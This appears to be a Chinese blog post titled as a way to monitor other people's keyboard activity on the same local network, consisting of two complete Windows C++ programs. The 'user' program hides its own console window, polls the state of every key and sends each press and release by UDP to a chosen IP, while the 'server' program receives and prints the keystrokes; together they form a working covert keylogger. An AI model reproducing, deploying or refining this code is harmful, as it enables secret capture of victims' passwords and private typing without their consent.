同一局域网监视他人键盘活动(欢迎大家完善)

server

#include <iostream>
#include <Windows.h>
#include <WinSock2.h>

#pragma comment(lib, "ws2_32.lib")

#define PORT 8888

int main() {
    WSADATA wsaData;
    SOCKET sockfd;
    sockaddr_in serverAddr, clientAddr;
    int clientAddrLen = sizeof(clientAddr);
    char buffer[2] = { 0 };

    // 初始化 Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "WSAStartup failed.\n";
        return 1;
    }

    // 创建 socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == INVALID_SOCKET) {
        std::cerr << "Socket creation failed.\n";
        WSACleanup();
        return 1;
    }

    // 设置服务器地址
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(PORT);
    serverAddr.sin_addr.s_addr = INADDR_ANY;

    // 绑定 socket
    if (bind(sockfd, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        std::cerr << "Socket bind failed.\n";
        closesocket(sockfd);
        WSACleanup();
        return 1;
    }

    std::cout << "Server is listening...\n";

    // 接收来自客户端的数据并显示在屏幕上
    while (true) {
        if (recvfrom(sockfd, buffer, sizeof(buffer), 0, (sockaddr*)&clientAddr, &clientAddrLen) != SOCKET_ERROR) {
            if (isprint(buffer[0])) { // 可见字符
                if (buffer[1] == 0) {
                    std::cout << "Key pressed: " << buffer[0] << " (Press)" << "\n";
                } else {
                    std::cout << "Key pressed: " << buffer[0] << " (Release)" << "\n";
                }
            } else {
                std::cout << "Key pressed: ASCII " << static_cast<int>(buffer[0]);
                if (buffer[1] == 0) {
                    std::cout << " (Press)" << "\n";
                } else {
                    std::cout << " (Release)" << "\n";
                }
            }
        }
    }

    closesocket(sockfd);
    WSACleanup();

    return 0;
}

user

#include <iostream>
#include <Windows.h>
#include <WinSock2.h>

#pragma comment(lib, "ws2_32.lib")

#define PORT 8888

int main() {
    WSADATA wsaData;
    SOCKET sockfd;
    sockaddr_in serverAddr;

    // 初始化 Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "WSAStartup failed.\n";
        return 1;
    }

    // 创建 socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == INVALID_SOCKET) {
        std::cerr << "Socket creation failed.\n";
        WSACleanup();
        return 1;
    }

    // 获取目标服务器的IP地址
    std::string serverIP;
    std::cout << "Enter the IP address of the server: ";
    std::cin >> serverIP;
	ShowWindow(GetForegroundWindow(),0);
    // 设置服务器地址
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(PORT);
    serverAddr.sin_addr.s_addr = inet_addr(serverIP.c_str());

    // 定义按键状态数组
    bool keyState[256] = { false };

    // 检测键盘按键并发送到服务器
    while (true) {
        for (int i = 0; i < 256; ++i) {
            bool pressed = (GetAsyncKeyState(i) & 0x8000) != 0;
            if (pressed != keyState[i]) {
                char buffer[2] = { static_cast<char>(i), pressed ? 0 : 1 };
                sendto(sockfd, buffer, sizeof(buffer), 0, (sockaddr*)&serverAddr, sizeof(serverAddr));
                std::cout << "Key " << (pressed ? "pressed" : "released") << ": " << static_cast<char>(i) << std::endl;
            }
            keyState[i] = pressed;
        }
        Sleep(10); // 稍作延时
    }

    closesocket(sockfd);
    WSACleanup();

    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值